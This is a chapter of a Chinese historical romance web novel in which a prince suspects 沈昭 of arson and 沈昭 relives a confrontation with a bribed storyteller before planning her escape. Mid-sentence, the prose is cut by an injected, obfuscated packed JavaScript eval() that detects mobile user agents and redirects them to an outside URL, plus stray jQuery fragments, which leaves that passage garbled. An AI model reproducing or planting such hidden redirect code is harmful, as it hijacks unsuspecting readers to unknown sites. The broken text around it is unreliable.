默认冷灰
24号文字
方正启体

9. 晨起

作者:今晤本书字数:K更新时间:
    “放火之人,当真便是沈姑娘吗?”卫泽侍立一旁,启声问道。


    中堂明亮,江临渊坐在玉案前,一手撑头,一手拨弄着案上的香槌:“你又为何觉得不是?”


    “属下觉得……”卫泽摸了摸鼻子,犹豫道,“前日张府走水,昨日谢宅走水,近来确是天干物燥之际,说不准,这火也是意外。”


    “况且,沈姑娘那般怕火,又如何敢行放火之事?”


    “这便对了。”江临渊微一点头,“就是因为当真怕火,才偏要行放火之事。”


    “这便是她想让你们相信的,亦是她想让本王相信的。”


    “可惜本王,”他顿了顿,又续道,“从不信意外,也从不信巧合。”


    卫泽咂摸着,有些将信将疑,还在思索,江临渊的问题已迎面抛来。


    “依你所见,她是个怎样的人?”


    “沈姑娘……”卫泽答道,“至少不是个坏人。”


    “哦?为何?”


    “沈姑娘若当真对殿下有威胁,殿下早将她杀了,她怎会有命活到今日?”卫泽未多思忖,如实解释。


    卫泽说得对,江临渊一时有些无言。


    只是他并非没杀,而是根本杀不了。


    “殿下,属下有一事不解,”卫泽见江临渊不言,出声问道,“若非花木同时自燃,那般火势,须得以火一株一株去点才成,侍卫晚膳换值也不过片刻,应不会给沈姑娘留下这样长的间隙。”


    江临渊将眸光移向玉案上的制香器皿:“缘由或在这香材之中。”


    卫泽抬眼去望,仍有些不解:“这其中有何古怪?”


    “你不是说,前几日她在房中制香,耗尽了房中所有香材。”


    “房内其他物事皆有剩余,偏偏只有香材耗的一干二净。”江临渊眯起眼,下了定论,“香材之中,大概有引火之物。”


    卫泽此时再一思忖,方才了然,忙愤愤道:“既是如此,属下这就去拿她。”


    “你可有物证?”江临渊问。


    卫泽住了脚步,踌躇道:“香材已尽数耗用,如何还有物证?”


    “既无物证,也无人证。”江临渊轻轻一笑,“那她便不会认。”


    “那……可要审讯?”卫泽试探着问,“既无人证,也无物证之犯人,殿下也抓过不少了,刑讯过后,也没有不吐真言的。”


    江临渊神色一顿,想起方才亲自前去讯问的场景,眸光似染上一层恼意:“谁准你把她当犯人了?”


    “是,属下知错。”卫泽忙低头道,“此事当如何处置?还请殿下示下。”


    “既无人证,也无物证。”江临渊手指把玩着香槌,想起她的那滴泪,落在他手背上,竟击得他心口有些痛,“此事便不必再处置了。”


    “她既只烧了花木,并未伤及砖瓦,便不是冲着别院中人而来,也并非冲着本王而来。”


    “那是?”


    “或是想逃离此地,或是想引人而来。”


    “卫泽,”江临渊又道,“将侍卫再多调几个。”


    卫泽应声答道:“是,属下定让人严加看管沈姑娘。”


    江临渊皱眉,手指放开香槌,香槌落下,击中香板,沉闷声响,像公堂上的案子随着惊堂木的落下而定音。


    “看好她。”他吩咐道,一字一顿,“也护好她。”


    卫泽点头称是。


    “殿下,大理寺杜大人派人前来请示,沈姑娘的私奔案,何时开审?”


    “杜明急什么?”江临渊语意不耐,转而问道,“她的伤势如何了?张仲安今日怎么说?”


    “张太医今日夜里当值,已先行告退。”卫泽复述张仲安留下的话,“张太医说,沈姑娘伤势有良药相助,养护也甚为得当,已大好了,不出半月,便可痊愈。”


    “你去告诉杜明,”江临渊面色稍有转还,“本王心情欠佳,此案半月后审。”


    夜里的风并不和畅,沈昭掖了掖被角,阖眼而睡。


    乌云沉沉,天幕被撕破了口,豆大的雨点滚落而下,溅起青石砖间的泥泞,沈昭顾不得鞋袜沾染污垢,撑了一把碧山色油纸伞,闯进交织的雨雾里,向明兴茶楼匆匆奔去。


    雨势渐大,昏暗压城。


    茶楼已提早打了烊,最后几个客人稀稀拉拉地走出大门,一旁的小二瞥了一眼来人的狼狈模样,招手说声打烊了打烊了,便准备闭门谢客。


    沈昭急忙收了伞。


    “说书先生可还在吗?”


    小二摆摆手,回身往楼里走:“今日天候不佳,若要听书,客官明日再来罢。”


    沈昭却半步不退:“我要见他。”


    小二停住:“今日先生不说书了。”


    “我要见他。”沈昭抬步上石阶,径直往楼里去,“就今日。”


    “诶诶,”小二追上她,“姑娘等等。”


    茶场中央坐着一个老头儿,大把胡须挡了半张脸,正俯身收拾桌案上的响木与折扇,抬头看见沈昭,露出一双狭窄的眼睛来,目光有一丝躲闪。


    “你要的一大笔银子我两日前分明已给了你,”沈昭瞪着他,“你为何言而无信?”


    说书先生还未答话,先将目光移到小二身上:“诶,不是已经打烊了,怎么还让人进来?”


    “这姑娘是自己闯进来的。”小二摊手。


    说书先生眼睛里显露出几分装模作样的无奈:“小老儿怎么就言而无信了?”


    “你日日在这茶楼里说我克夫,诋我嫁不出去,想与人私奔,污我是无福妖女。”


    “我曾找过你,你说花了银子,便能买你闭嘴。我给你的银子你嫌少,我便凑足了五十两给你。你前日终于停了一日,不曾再说,可昨日为何又突然变卦?”


    “姑娘也说了,”说书先生咳嗽一声,“小老儿前日已经闭嘴,姑娘这银子便已落到实处了,你还想向小老儿讨什么?”


    “你!你怎能如此无赖!”


    “小老儿说姑娘之事也不是一日两日,姑娘从前不睬,怎地近来忽然关心起来,莫不是,”说书人猜道,“昌王选妃,姑娘也想去?”


    “你……”沈昭一时被说中心思,低了低头,心中愈加心烦意乱,手中的油纸伞在两人之间横扫而过,“你说,到底怎样才能闭嘴?”


    满伞水珠被甩将出来,向说书先生身上砸去,他忙伸手去挡,散落的水珠袭来,襟袖胡须皆沾满了水渍。


    说书先生这下也恼了,将响木一敲站起身来:“姑娘,老夫与你说实话。你的名声,银子买不来。”


    “这是何意?”


    “小老儿若夸你贤良淑德,有哪个看官是好这口的?长此以往,听客跑得一个不剩,老朽连半枚铜板都讨不到!更何况,姑娘这笔银子再多,也不及贵人月月赏……”说书先生忽然意识到说歪了方向,生生刹住。


    “什么贵人?”她却立即抓住了这句,“你是听了谁的指使?”


    一阵疾风从尚未掩上的大门间袭入,沈昭攥紧了油纸伞,欲开口再问,忽见二楼珠帘被吹起一角,摇曳的缝隙里露出若隐若现的牡丹红裙。


    好生眼熟。


    这是……继母徐氏今日的衣着。


    “胡说!”说书人捻着须嚎起来,“快快快,来人,闭门谢客。”


    从二楼匆匆跑下来一个伙计,连同那个小二,将沈昭推着搡着“请”了出去。


    雨愈发大了,水流像从苍穹之上直泼下来,将屋舍庭院尽数吞入流瀑之中。


    沈昭今日从家中出来得急,没乘马车,如今徒步走在雨里,鞋袜尽湿。


    “昭妹妹。”一辆马车在她面前停住,有人快步而下,急忙伸手扶住她,为她撑起一把更大的伞。


    沈昭抬头,对上他那双满怀关切的眸。


    是陆乘礼,京城富商之子,亦是她的青梅竹马。


    “你来找这说书先生了?”陆乘礼向茶楼望了一眼,“如何?”


    “嗯。”沈昭点头,迟来的眼泪终于从眼眶中涌了出来,“收了银子,便也不认账了。”


    “什么?”陆乘礼愤愤道,“竟有这般无耻之人!”


    “昭妹妹,待我去与爹说,让他将这明兴楼买下,将这说书先生逐了去。”


    沈昭摇摇头,声音混在雨水里,有几分不真切:“即便是买了明兴楼,往后还有天兴楼,月兴楼,又当如何?”


    陆乘礼怔了一下,随即道:“那我便凑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373766|168245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    足了银子,将它们全买下来。”


    沈昭没料到他这样答,侧脸怔了一会儿,看见他肩头衣衫一点一点被雨水浸润,于是推他上了车舆。


    “昭妹妹,你莫要忧心,我会帮你的……”


    “昭妹妹,大不了,改日我再去明兴楼做回说书先生……”


    话语声渐渐远了,依稀只剩淅淅沥沥的雨声,慢慢的水流声也悄然逝去,周遭寂静如斯。


    沈昭缓缓睁眼,看见有光从窗边挪进来。


    她蓦然坐起身。


    是了,她差点忘了。


    前世陆乘礼曾为了替她辩言,想以说书动人心,便给掌柜递了银子,在明兴楼中做过一回说书先生。


    徐氏既是买通了明兴楼的说书先生,如今污她私奔一事,定也是要借那老头儿的口传开。


    她忙起身下榻,朝门外问道:“大哥,今日是何时何日?”


    门外侍卫下意识答道:“今日是……”


    话未说完,便有脚步声截断了这句,那侍卫后半句生生咽了回去,而后道:“不知道。”


    沈昭撇撇嘴,能让侍卫这般噤声的,也只有江临渊了。好在她自从到了别院之后便一直记着日子,即便无人告知,她自己再数上一遍天数也能知晓。


    她寻了一件衣裳披上,等着门外那人进来。


    脚步声却顿在那里,直到她更衣洗漱完毕,门外都杳无音信。


    江临渊怎得突然遵起礼法来了?


    她有些不解,在铜镜前坐定,拿起一把象牙梳开始梳发,忽地想起江临渊那日擅自闯入,撞见她正在上药的场景。


    他不会……一直在等着她开口吧?


    “主公怎么不进去?”门外侍卫皆已被屏退,卫泽凑近悄声问道。


    “也不看看是什么时辰?”一根手指在卫泽额头上敲了一下,“晨起后要做什么?”


    “更衣。”卫泽恍然大悟。


    于是一主一从,两人默默立着,在门外静候。


    半晌,卫泽终于忍不住好奇道:“主公怎么知道她更没更完?”


    江临渊回首瞥了他一眼:“你问问。”


    “啊?”卫泽捂了捂嘴,“这如何问?”


    “这有何难?”江临渊皱了眉。


    “属下不敢。”卫泽眼里惶恐,又强调道,“我不进去的。”


    “快问。”


    “这于礼不合啊。”


    两人沉默片刻。


    卫泽忽然凑上前压低声音:“主公怎么不问?”


    一记眼刀剜过来。


    他忙又添了句:“主公要进去的。”


    两人正别扭交换着眼色,“吱呀”声响,门忽然从内而开。


    “啊,公子怎么在这儿?”沈昭面上作出几分惊讶,歪着头看向两人。


    卫泽如获大赦一般,冲沈昭友好地露出微笑,退了开去。


    “嗯。”江临渊咳嗽一声,换了一副从容的模样,迈步进屋。


    “公子可知,今日是几时几日?”


    “我若说不知,”江临渊开口有些冷,像清晨初凝的露,“你可会信?”


    “我若不信,”沈昭向前几步,去直视他那双颇显冰冷的眸,“公子便会说实话吗?”


    江临渊却只是扫了她一眼,随后撩袍坐下,倒也没再为难她,给出答案。


    “二月初七。”


    二月初七。


    十三日后,便是陆乘礼在明兴楼说书的日子,若她没记错,陆乘礼曾数次与她相约,她也应了定会去做看客。


    回想起来,言犹在耳。可对如今的她来说,竟都成前世之事了。


    昨日医官说她的伤处半月之内便可痊愈,如今江临渊杀不了她,可若是当真发起疯来,将她在这别院里囚上一辈子……


    她蓦地想起前世被他囚在宫苑,凄凉死去,不禁打了个寒颤……


    不能再重蹈覆辙了,养好伤后,她必须得逃出去。


    但若是冒然逃离回府,这私奔的传言便也说不清了,如果官府再草草定了案,那她即便逃得出别院,也逃不过私奔罪罚。


    到底以何种方式重新出现,才既能平安回府,又能破了她与人私奔的谣言呢?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)